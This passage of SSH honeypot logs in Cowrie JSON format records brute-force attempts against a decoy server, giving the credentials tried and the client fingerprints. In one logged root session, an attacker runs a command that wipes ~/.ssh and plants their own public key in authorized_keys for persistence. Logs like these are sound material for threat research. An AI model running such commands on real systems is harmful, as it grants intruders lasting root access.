03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:47.705812Z","src_ip":"131.161.249.165","session":"247f2313a4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bounce","password":"bounce123","message":"login attempt [bounce/bounce123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:48.234900Z","src_ip":"131.161.249.165","session":"247f2313a4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:49.361492Z","src_ip":"131.161.249.165","session":"247f2313a4af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46976,"dst_ip":"10.17.0.5","dst_port":22,"session":"db067201ae0b","protocol":"ssh","message":"New connection: 195.178.110.218:46976 (10.17.0.5:22) [session: db067201ae0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:50.969277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:50.973543Z","src_ip":"195.178.110.218","session":"db067201ae0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:51.048411Z","src_ip":"195.178.110.218","session":"db067201ae0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:51.273064Z","src_ip":"195.178.110.218","session":"db067201ae0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:52.349364Z","src_ip":"195.178.110.218","session":"db067201ae0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.204.171.142","src_port":40500,"dst_ip":"10.17.0.5","dst_port":22,"session":"a105906cce8a","protocol":"ssh","message":"New connection: 121.204.171.142:40500 (10.17.0.5:22) [session: a105906cce8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:59.095502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:59.100095Z","src_ip":"121.204.171.142","session":"a105906cce8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:53:59.351972Z","src_ip":"121.204.171.142","session":"a105906cce8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nikhil","password":"nikhilpass","message":"login attempt [nikhil/nikhilpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:00.390691Z","src_ip":"121.204.171.142","session":"a105906cce8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:01.645098Z","src_ip":"121.204.171.142","session":"a105906cce8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":49758,"dst_ip":"159.203.135.109","dst_port":22,"session":"47bc19dcddb2","protocol":"ssh","message":"New connection: 34.81.72.185:49758 (159.203.135.109:22) [session: 47bc19dcddb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:17.922292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:17.926674Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:18.120603Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Dd123456","message":"login attempt [root/Dd123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:18.926084Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:19.343080Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:19.346228Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:19.349478Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:19.546199Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:19.965756Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:19.968841Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:20.165897Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:20.168774Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":49774,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4ed796db28b","protocol":"ssh","message":"New connection: 34.81.72.185:49774 (159.203.135.109:22) [session: d4ed796db28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:20.349060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:20.352676Z","src_ip":"34.81.72.185","session":"d4ed796db28b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:20.541456Z","src_ip":"34.81.72.185","session":"d4ed796db28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:21.334877Z","src_ip":"34.81.72.185","session":"d4ed796db28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:22.527904Z","src_ip":"34.81.72.185","session":"d4ed796db28b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":42554,"dst_ip":"159.203.135.109","dst_port":22,"session":"1df65ca4e47f","protocol":"ssh","message":"New connection: 34.81.72.185:42554 (159.203.135.109:22) [session: 1df65ca4e47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:22.726933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:22.733176Z","src_ip":"34.81.72.185","session":"1df65ca4e47f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:22.929531Z","src_ip":"34.81.72.185","session":"1df65ca4e47f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:23.748386Z","src_ip":"34.81.72.185","session":"1df65ca4e47f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:23.945184Z","src_ip":"34.81.72.185","session":"47bc19dcddb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:23.949302Z","src_ip":"34.81.72.185","session":"1df65ca4e47f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":53192,"dst_ip":"10.17.0.5","dst_port":22,"session":"9baa6c225de4","protocol":"ssh","message":"New connection: 156.238.246.148:53192 (10.17.0.5:22) [session: 9baa6c225de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:35.940554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:35.944636Z","src_ip":"156.238.246.148","session":"9baa6c225de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:36.146143Z","src_ip":"156.238.246.148","session":"9baa6c225de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdp","password":"123456","message":"login attempt [rdp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:36.985948Z","src_ip":"156.238.246.148","session":"9baa6c225de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:54:38.189665Z","src_ip":"156.238.246.148","session":"9baa6c225de4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":42956,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ed337d696bd","protocol":"ssh","message":"New connection: 23.249.28.115:42956 (10.17.0.5:22) [session: 1ed337d696bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:00.434215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:00.438877Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:00.625224Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"caonima123","message":"login attempt [root/caonima123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:01.403506Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:01.814886Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
